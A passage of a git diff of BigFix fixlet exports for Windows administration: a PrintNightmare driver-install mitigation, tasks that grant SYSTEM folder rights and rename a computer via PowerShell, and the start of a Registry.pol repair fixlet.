+waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action934">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
+    </Action>
+    <Action ID="Action935">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about silent pinning.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
+    </Action>
+    <Action ID="Action936">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes b/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes
index 30ce0fab3..52121d414 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : PointAndPrint Mitigation for Printnightmare vulnerability
-  ID       : 26861
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2021-07-08T10:04:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>PointAndPrint Mitigation for Printnightmare vulnerability</Title>
-    <Description><![CDATA[<P>Optionally configure the RestrictDriverInstallationToAdministrators registry value to prevent non-administrators from installing printer drivers on a print server.</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE \Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint&quot; whose (value &quot;RestrictDriverInstallationToAdministrators&quot; of it as integer = 1) of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 08 Jul 2021 17:01:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
-regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
-else
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
-endif
-</ActionScript>
-    </DefaultAction>
-    <Action ID="Action28146">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more from Microsoft.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : PointAndPrint Mitigation for Printnightmare vulnerability
+  ID       : 26861
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-08T10:04:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>PointAndPrint Mitigation for Printnightmare vulnerability</Title>
+    <Description><![CDATA[<P>Optionally configure the RestrictDriverInstallationToAdministrators registry value to prevent non-administrators from installing printer drivers on a print server.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE \Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint&quot; whose (value &quot;RestrictDriverInstallationToAdministrators&quot; of it as integer = 1) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Jul 2021 17:01:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
+else
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
+endif
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28146">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes b/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes
index fc0eb23b4..f9764d621 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes	
@@ -1,129 +1,129 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Powershell - Assign System Account Folder Rights (Prompt for Path)
-  ID       : 26609
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : SYST
-  Imported : 2019-03-05T10:21:19
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Powershell - Assign System Account Folder Rights (Prompt for Path)</Title>
-    <Description></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Category>Software Distribution</Category>
-    <Source>OSD</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2019-02-21</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-runAsSystem</Name>
-      <Value>{&quot;passwordType&quot;:&quot;required&quot;,&quot;username&quot;:&quot;&quot;,&quot;asAdmin&quot;:&quot;true&quot;,&quot;userType&quot;:&quot;system&quot;,&quot;completion&quot;:&quot;none&quot;,&quot;targetuser&quot;:&quot;&quot;}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>action-ui-metadata</Name>
-      <Value>{&quot;icon&quot;:&quot;&quot;,&quot;size&quot;:&quot;9046533&quot;,&quot;version&quot;:&quot;0.0&quot;}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swdCommandOverride</Name>
-      <Value>a</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swd-wizard-data</Name>
-      <Value>{&quot;lastmodified&quot;:&quot;Thu Feb 21 20:29:36 GMT-0500 2019&quot;,&quot;categories&quot;:[],&quot;useCommandLine&quot;:false,&quot;site&quot;:null,&quot;os&quot;:[],&quot;vendor&quot;:&quot;Wallpaper&quot;,&quot;pkgvariablekey&quot;:&quot;SWD_Package_brad.sexton@sexton.local_1550780131285592&quot;,&quot;runAsSystem&quot;:null,&quot;pkgTag&quot;:&quot;&quot;,&quot;product&quot;:&quot;OSD&quot;,&quot;files&quot;:[{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;id&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715_1550798976595193&quot;,&quot;filename&quot;:&quot;IMG_2071.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 20:29:36 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:6131476,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/C861E36BD7A7F119757BCBA945BC6F23515E6715/IMG_2071.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;0b1fbb69323abf4c6d94221626b598ceae46320ffebad240464f0350ec5aa6e2&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5151&quot;,&quot;rpm_metadata&quot;:null},{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;,&quot;id&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F_1550780146769758&quot;,&quot;filename&quot;:&quot;IMG_3675.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 15:15:44 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:2915057,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/054E100047CA5C0AAAB3C01CB965313E5994A00F/IMG_3675.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;96f30e46ec7c5faac96da6d17ae69c091eb21dc779db2a9b9e8f1ce60e45e693&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5067&quot;,&quot;rpm_metadata&quot;:null}],&quot;fullInstallCommand&quot;:null,&quot;comment&quot;:null,&quot;description&quot;:null,&quot;owner&quot;:&quot;brad.sexton@sexton.local&quot;,&quot;version&quot;:&quot;0.0&quot;,&quot;creator&quot;:&quot;brad.sexton@sexton.local&quot;}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-advancedPathOptions</Name>
-      <Value>{&quot;deleteCustomPath&quot;:false,&quot;customPath&quot;:false,&quot;customPathName&quot;:null}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-advancedLogOptions</Name>
-      <Value>{&quot;individualLogCustomerName&quot;:null,&quot;uploadTheLog&quot;:false,&quot;individualLog&quot;:false}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swdPackageID</Name>
-      <Value>SWD_Package_brad.sexton@sexton.local_1550780131285592</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-prePostInstall</Name>
-      <Value>{&quot;preInstall&quot;:null,&quot;postType&quot;:null,&quot;preType&quot;:null,&quot;selected&quot;:false,&quot;postInstall&quot;:null}</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-pkgTag</Name>
-      <Value></Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-pkgType</Name>
-      <Value></Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swdSelectedFiles</Name>
-      <Value>[&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;]</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-canPreserveCustom</Name>
-      <Value>true</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swdUseCommandLine</Name>
-      <Value>true</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-swdDeployCategory</Name>
-      <Value>Install</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-adf-wizard-source</Name>
-      <Value>Software Distribution_SoftwareDistribution</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-adf-wizard-data</Name>
-      <Value>&quot;&quot;</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 05 Mar 2019 18:20:28 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to deploy this action</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
-action parameter query &quot;Path&quot; with description &quot;Please enter full path of the folder&quot;
-
-
-
-
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-set-executionpolicy unrestricted
-takeown /f {parameter &quot;Path&quot; of action} /R /D Y /A
-icacls {parameter &quot;Path&quot; of action} /Grant ‘System:(OI)(CI)F’ /T
-
-
-
-get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
-
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1
-
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Powershell - Assign System Account Folder Rights (Prompt for Path)
+  ID       : 26609
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : SYST
+  Imported : 2019-03-05T10:21:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Powershell - Assign System Account Folder Rights (Prompt for Path)</Title>
+    <Description></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Category>Software Distribution</Category>
+    <Source>OSD</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2019-02-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-runAsSystem</Name>
+      <Value>{&quot;passwordType&quot;:&quot;required&quot;,&quot;username&quot;:&quot;&quot;,&quot;asAdmin&quot;:&quot;true&quot;,&quot;userType&quot;:&quot;system&quot;,&quot;completion&quot;:&quot;none&quot;,&quot;targetuser&quot;:&quot;&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>action-ui-metadata</Name>
+      <Value>{&quot;icon&quot;:&quot;&quot;,&quot;size&quot;:&quot;9046533&quot;,&quot;version&quot;:&quot;0.0&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdCommandOverride</Name>
+      <Value>a</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swd-wizard-data</Name>
+      <Value>{&quot;lastmodified&quot;:&quot;Thu Feb 21 20:29:36 GMT-0500 2019&quot;,&quot;categories&quot;:[],&quot;useCommandLine&quot;:false,&quot;site&quot;:null,&quot;os&quot;:[],&quot;vendor&quot;:&quot;Wallpaper&quot;,&quot;pkgvariablekey&quot;:&quot;SWD_Package_brad.sexton@sexton.local_1550780131285592&quot;,&quot;runAsSystem&quot;:null,&quot;pkgTag&quot;:&quot;&quot;,&quot;product&quot;:&quot;OSD&quot;,&quot;files&quot;:[{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;id&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715_1550798976595193&quot;,&quot;filename&quot;:&quot;IMG_2071.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 20:29:36 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:6131476,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/C861E36BD7A7F119757BCBA945BC6F23515E6715/IMG_2071.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;0b1fbb69323abf4c6d94221626b598ceae46320ffebad240464f0350ec5aa6e2&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5151&quot;,&quot;rpm_metadata&quot;:null},{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;,&quot;id&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F_1550780146769758&quot;,&quot;filename&quot;:&quot;IMG_3675.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 15:15:44 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:2915057,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/054E100047CA5C0AAAB3C01CB965313E5994A00F/IMG_3675.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;96f30e46ec7c5faac96da6d17ae69c091eb21dc779db2a9b9e8f1ce60e45e693&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5067&quot;,&quot;rpm_metadata&quot;:null}],&quot;fullInstallCommand&quot;:null,&quot;comment&quot;:null,&quot;description&quot;:null,&quot;owner&quot;:&quot;brad.sexton@sexton.local&quot;,&quot;version&quot;:&quot;0.0&quot;,&quot;creator&quot;:&quot;brad.sexton@sexton.local&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-advancedPathOptions</Name>
+      <Value>{&quot;deleteCustomPath&quot;:false,&quot;customPath&quot;:false,&quot;customPathName&quot;:null}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-advancedLogOptions</Name>
+      <Value>{&quot;individualLogCustomerName&quot;:null,&quot;uploadTheLog&quot;:false,&quot;individualLog&quot;:false}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdPackageID</Name>
+      <Value>SWD_Package_brad.sexton@sexton.local_1550780131285592</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-prePostInstall</Name>
+      <Value>{&quot;preInstall&quot;:null,&quot;postType&quot;:null,&quot;preType&quot;:null,&quot;selected&quot;:false,&quot;postInstall&quot;:null}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-pkgTag</Name>
+      <Value></Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-pkgType</Name>
+      <Value></Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdSelectedFiles</Name>
+      <Value>[&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;]</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-canPreserveCustom</Name>
+      <Value>true</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdUseCommandLine</Name>
+      <Value>true</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdDeployCategory</Name>
+      <Value>Install</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-adf-wizard-source</Name>
+      <Value>Software Distribution_SoftwareDistribution</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-adf-wizard-data</Name>
+      <Value>&quot;&quot;</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Mar 2019 18:20:28 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+action parameter query &quot;Path&quot; with description &quot;Please enter full path of the folder&quot;
+
+
+
+
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+set-executionpolicy unrestricted
+takeown /f {parameter &quot;Path&quot; of action} /R /D Y /A
+icacls {parameter &quot;Path&quot; of action} /Grant ‘System:(OI)(CI)F’ /T
+
+
+
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1
+
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes b/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes
index aed81eac8..7e5dbeea4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Powershell Computer Rename (Prompt)
-  ID       : 26604
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2019-02-12T09:51:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Powershell Computer Rename (Prompt)</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Source>Brad Sexton</Source>
-    <SourceReleaseDate>2018-12-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 Feb 2019 17:45:51 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
-action parameter query &quot;PC-Name&quot; with description &quot;Please enter the new PC name&quot;
-
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-$computerName = Get-WmiObject Win32_ComputerSystem
-$computername.Rename(&quot;{parameter &quot;PC-Name&quot; of action}&quot;)
-
-
-get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
-
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Powershell Computer Rename (Prompt)
+  ID       : 26604
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-02-12T09:51:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Powershell Computer Rename (Prompt)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Source>Brad Sexton</Source>
+    <SourceReleaseDate>2018-12-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 Feb 2019 17:45:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+action parameter query &quot;PC-Name&quot; with description &quot;Please enter the new PC name&quot;
+
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+$computerName = Get-WmiObject Win32_ComputerSystem
+$computername.Rename(&quot;{parameter &quot;PC-Name&quot; of action}&quot;)
+
+
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes b/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes
index 907782408..b2f4b9668 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Registry.pol Corruption Fix
-  ID       : 27373
-  Author   : skyler
-  Domain   : BESC
-  Imported : 2025-02-25T09:10:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Registry.pol Corruption Fix</Title>
-    <Description><![CDATA[<P>Resolves an issue where computers do not retrieve Group Policy updates due to the following file&nbsp;being corrupted:<BR><STRONG>C:\Windows\System32\GroupPolicy\Machine\Registry.pol</STRONG><BR><BR>This fixlet&nbsp;deletes <STRONG>Registry.pol</STRONG> and then runs <STRONG>gpupdate /force</STRONG> to update Group Policy.</P>
